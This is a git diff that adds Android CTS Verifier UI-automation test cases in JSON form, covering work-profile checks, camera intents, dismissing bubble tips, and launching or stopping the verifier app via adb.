diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1a737a07-f83f-41f1-8831-ca5c16ce3268 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1a737a07-f83f-41f1-8831-ca5c16ce3268
new file mode 100644
index 0000000..0450972
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1a737a07-f83f-41f1-8831-ca5c16ce3268
@@ -0,0 +1 @@
+{"uuid":"1a737a07-f83f-41f1-8831-ca5c16ce3268","details":"{\"type\":\"CompoundAction\",\"name\":\"New_14_Open app cross profiles from the personal side\",\"actionId\":\"1a737a07-f83f-41f1-8831-ca5c16ce3268\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Open app cross profiles from the personal side\",\"actionId\":\"5f90c7b8-f6be-417f-9b00-57a22bd3b383\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Open app cross profiles from the personal side\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"3b34186f-3c85-4761-9f7c-068543a1c9b6\",\"displayText\":\"Open app cross profiles from the personal side\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Open app cross profiles from the personal side\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":469.0,\"x2\":360.0,\"y2\":513.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":167.0,\"y\":493.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":13.0,\"y\":-2.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"3b34186f-3c85-4761-9f7c-068543a1c9b6\",\"firstText\":\"Open app cross profiles from the personal side\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Open app cross profiles from the personal side\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":481.0,\"x2\":329.0,\"y2\":506.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Open app cross profiles from the personal side\",\"actionId\":\"163dd473-7feb-4a3a-a4af-dfd5d36bd8e0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Open app cross profiles from the personal side\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Personal\",\"actionId\":\"cf37eeed-10e8-455f-a9c0-b1cbd2d9b0ac\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Personal\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"bb8328fe-7638-4bf8-8dd4-6d307cce695b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier\"},{\"type\":\"ConditionValidationAction\",\"name\":\"You selected the ctsverifier option\",\"actionId\":\"cc699f43-e03d-425b-89ae-5e0db90d2d49\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"You selected the ctsverifier option\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button_finish\",\"actionId\":\"583ebd31-9ffb-4513-89cd-46174f2f3d2a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/button_finish\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work\",\"actionId\":\"cb710bdd-9a8a-457c-8055-60d9cccd5e18\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"3cc0ee10-a7d1-419e-bd19-cc1b491344e2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier\"},{\"type\":\"ConditionValidationAction\",\"name\":\"You selected the Work option.\",\"actionId\":\"81f219e4-17fa-42b2-b118-0071c7fccbed\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"You selected the Work option.\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button_finish\",\"actionId\":\"d0949c9b-7864-4490-a4f0-e4affa4af1ca\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/button_finish\"}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"5f90c7b8-f6be-417f-9b00-57a22bd3b383\",\"163dd473-7feb-4a3a-a4af-dfd5d36bd8e0\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"cf37eeed-10e8-455f-a9c0-b1cbd2d9b0ac\",\"bb8328fe-7638-4bf8-8dd4-6d307cce695b\",\"cc699f43-e03d-425b-89ae-5e0db90d2d49\",\"583ebd31-9ffb-4513-89cd-46174f2f3d2a\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"cb710bdd-9a8a-457c-8055-60d9cccd5e18\",\"3cc0ee10-a7d1-419e-bd19-cc1b491344e2\",\"81f219e4-17fa-42b2-b118-0071c7fccbed\",\"d0949c9b-7864-4490-a4f0-e4affa4af1ca\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"New_14_Open app cross profiles from the personal side","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.316000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1b93eaf6-4fb7-4295-8288-19b021450557 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1b93eaf6-4fb7-4295-8288-19b021450557
new file mode 100644
index 0000000..30c23e8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1b93eaf6-4fb7-4295-8288-19b021450557
@@ -0,0 +1 @@
+{"uuid":"1b93eaf6-4fb7-4295-8288-19b021450557","details":"{\"type\":\"CompoundAction\",\"name\":\"Open CTS-V\",\"actionId\":\"1b93eaf6-4fb7-4295-8288-19b021450557\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Open CTS-V\",\"actionId\":\"99f27f3a-d9a8-4491-95d3-f94676973ce1\",\"actionType\":\"COMMAND_LINE_ACTION\",\"createdBy\":\"pololee\",\"commandLine\":\"shell am start -n com.android.cts.verifier/.CtsVerifierActivity\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"99f27f3a-d9a8-4491-95d3-f94676973ce1\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Open CTS-V","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.321000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1ba14882-fbe6-4e5f-a753-f3826b8fcbde b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1ba14882-fbe6-4e5f-a753-f3826b8fcbde
new file mode 100644
index 0000000..74d6b4c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1ba14882-fbe6-4e5f-a753-f3826b8fcbde
@@ -0,0 +1 @@
+{"uuid":"1ba14882-fbe6-4e5f-a753-f3826b8fcbde","details":"{\"type\":\"CompoundAction\",\"name\":\"Close CTS-V\",\"actionId\":\"1ba14882-fbe6-4e5f-a753-f3826b8fcbde\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Close CTS-V\",\"actionId\":\"b1b0eeba-54ea-4691-a258-3dfb3d8800c4\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":100,\"createdBy\":\"pololee\",\"commandLine\":\"shell am force-stop com.android.cts.verifier\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"b1b0eeba-54ea-4691-a258-3dfb3d8800c4\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Close CTS-V","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.321000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1c0d44ff-5ed3-4ea1-b931-f2cb903c504b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1c0d44ff-5ed3-4ea1-b931-f2cb903c504b
new file mode 100644
index 0000000..8090671
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1c0d44ff-5ed3-4ea1-b931-f2cb903c504b
@@ -0,0 +1 @@
+{"uuid":"1c0d44ff-5ed3-4ea1-b931-f2cb903c504b","details":"{\"type\":\"CompoundAction\",\"name\":\"If \\\"Chat using bubble\\\" tips appear dismiss it \",\"actionId\":\"1c0d44ff-5ed3-4ea1-b931-f2cb903c504b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"If Chat using bubbles appear click the bubble again.\",\"actionId\":\"ee3cc818-ad5a-471f-b51c-4fd1eeb67b6d\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Chat using bubbles\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"Click bubble again\",\"actionId\":\"e42e6555-3ada-417f-91bd-9c560884e6fe\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/bubble_view\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"ee3cc818-ad5a-471f-b51c-4fd1eeb67b6d\",\"e42e6555-3ada-417f-91bd-9c560884e6fe\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"If \"Chat using bubble\" tips appear dismiss it ","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.227000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1c5b786d-f4e0-44ea-8833-ab551a67815c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1c5b786d-f4e0-44ea-8833-ab551a67815c
new file mode 100644
index 0000000..976dfa7
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1c5b786d-f4e0-44ea-8833-ab551a67815c
@@ -0,0 +1 @@
+{"uuid":"1c5b786d-f4e0-44ea-8833-ab551a67815c","details":"{\"type\":\"CompoundAction\",\"name\":\"Camera Intents-Test 5\",\"actionId\":\"1c5b786d-f4e0-44ea-8833-ab551a67815c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"WaitAction\",\"name\":\"Record 5 secs\",\"actionId\":\"c46741dc-98ac-4e3f-abab-2bd742d2582c\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":5000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click done button\",\"actionId\":\"6118b65e-b151-4697-ae32-ab2f448d283f\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"$uicd_camera_done\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"$uicd_camera_done\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"$uicd_camera_done\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"740de7a4-51a7-411c-bf5f-424945116764\",\"fde8df69-89b4-42eb-8f6a-d67be2ca8770\",\"c46741dc-98ac-4e3f-abab-2bd742d2582c\",\"3815d172-f8cb-41b5-9bb3-5b3694bebd96\",\"6118b65e-b151-4697-ae32-ab2f448d283f\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_camera=Camera,\\n$uicd_camera_take_photo=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_mode=Video,\\n$uicd_camera_video_record=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_stop=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_done=Done,\"}}","name":"Camera Intents-Test 5","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.012000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1d4b27f3-51f7-4f20-b674-f5a097b6d7d5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1d4b27f3-51f7-4f20-b674-f5a097b6d7d5
new file mode 100644
index 0000000..b92a564
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1d4b27f3-51f7-4f20-b674-f5a097b6d7d5
@@ -0,0 +1 @@
+{"uuid":"1d4b27f3-51f7-4f20-b674-f5a097b6d7d5","details":"{\"type\":\"CompoundAction\",\"name\":\"10_Profile-aware app settings(Check image)\",\"actionId\":\"1d4b27f3-51f7-4f20-b674-f5a097b6d7d5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Profile-aware app settings\",\"actionId\":\"a75f3c8a-a605-4d5d-81c1-18449a7dfe2f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Profile-aware app settings\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a4ed0c52-91d0-48ff-bdc4-d74899104d3c\",\"displayText\":\"Profile-aware app settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Profile-aware app settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":571.6666666666666,\"x2\":360.0,\"y2\":615.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":96.0,\"y\":590.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":84.0,\"y\":3.1666666666666288,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"a4ed0c52-91d0-48ff-bdc4-d74899104d3c\",\"firstText\":\"Profile-aware app settings\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Profile-aware app settings\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":191.0,\"y1\":600.0,\"x2\":1.0,\"y2\":581.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Profile-aware app settings\",\"actionId\":\"4685bb87-ab14-473d-a9f7-0d7c7a9b0579\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Profile-aware app settings\"},{\"type\":\"ConditionValidationAction\",\"name\":\"App info\",\"actionId\":\"8b106b89-73d3-4da6-8d34-4365cc33250a\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"App info\"}]},\"clickAfterValidation\":false},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"c04071ff-2e83-4fb0-8a26-a9e7f3dd4d10\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work\",\"actionId\":\"ccebb227-487d-48d8-8299-0eda0c54f145\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work\"},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"b2cf924e-719a-4359-b210-4f78090c81ae\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f460d670-b982-4f28-9b12-33aee384907b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"a75f3c8a-a605-4d5d-81c1-18449a7dfe2f\",\"4685bb87-ab14-473d-a9f7-0d7c7a9b0579\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"8b106b89-73d3-4da6-8d34-4365cc33250a\",\"4aa267cc-73f0-487e-aa22-e57d487ff769\",\"c04071ff-2e83-4fb0-8a26-a9e7f3dd4d10\",\"ccebb227-487d-48d8-8299-0eda0c54f145\",\"b2cf924e-719a-4359-b210-4f78090c81ae\",\"f460d670-b982-4f28-9b12-33aee384907b\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"10_Profile-aware app settings(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.302000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1dd91c68-25ae-4631-8387-ea9aae5957e9 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1dd91c68-25ae-4631-8387-ea9aae5957e9
new file mode 100644
index 0000000..3257672
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1dd91c68-25ae-4631-8387-ea9aae5957e9
@@ -0,0 +1 @@
+{"uuid":"1dd91c68-25ae-4631-8387-ea9aae5957e9","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if find myCA.cer on screen\",\"actionId\":\"1dd91c68-25ae-4631-8387-ea9aae5957e9\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if find myCA.cer in screen\",\"actionId\":\"ae970413-009a-4127-a5e5-407fd619375e\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"myCA.cer\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"25bec680-dc18-4ff4-b392-635bf2b3486d\",\"displayText\":\"myCA.cer\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d33c6fec-c929-4572-87c7-0449b85887c4\",\"displayText\":\"myCA.cer\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"2ea63985-70b2-4c41-adc7-34ad2e9c9da9\",\"displayText\":\"myCA.cer\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"myCA.cer\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":293.25,\"x2\":126.5,\"y2\":312.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.75,\"y\":0.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"myCA.cer\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":293.25,\"x2\":126.5,\"y2\":312.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"myCA.cer\"},{\"uuid\":\"34a685ff-2974-4134-9343-ad1c47787391\",\"displayText\":\"11:43 AM\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"bc736b6e-1fec-4456-82e6-f589c3a8a258\",\"displayText\":\"11:43 AM\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.google.android.documentsui:id/date\",\"text\":\"11:43 AM\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":312.25,\"x2\":145.25,\"y2\":326.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"11:43 AM\"},{\"uuid\":\"09eff43e-95a6-46cd-8ce5-86708364fb4f\",\"displayText\":\"644 B\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.google.android.documentsui:id/size\",\"text\":\"644 B\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":152.25,\"y1\":312.25,\"x2\":214.0,\"y2\":326.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"644 B\"},{\"uuid\":\"2a29dee3-dcaf-43c4-82cf-dd21a2e80dc5\",\"displayText\":\"CER file\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.google.android.documentsui:id/file_type\",\"text\":\"CER file\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":221.0,\"y1\":312.25,\"x2\":283.0,\"y2\":326.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"CER file\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.google.android.documentsui:id/line2\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":312.25,\"x2\":283.0,\"y2\":326.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"11:43 AM\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":293.25,\"x2\":283.0,\"y2\":326.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":94.0,\"y\":302.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":79.0,\"y\":7.875,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"2ea63985-70b2-4c41-adc7-34ad2e9c9da9\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"myCA.cer\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":57.0,\"y1\":290.0,\"x2\":131.0,\"y2\":314.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Show roots\",\"actionId\":\"dcdf13b6-1485-44e1-8add-4d8ff11d37b1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Show 